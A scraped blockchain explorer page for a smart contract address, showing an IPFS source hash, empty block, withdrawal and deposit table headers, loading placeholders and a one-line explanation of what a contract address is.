Swarm Source

ipfs://0d54e87a3a6d5ea2edac0d82304bb4af28a73918c8ecde789abb06a377facbde

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.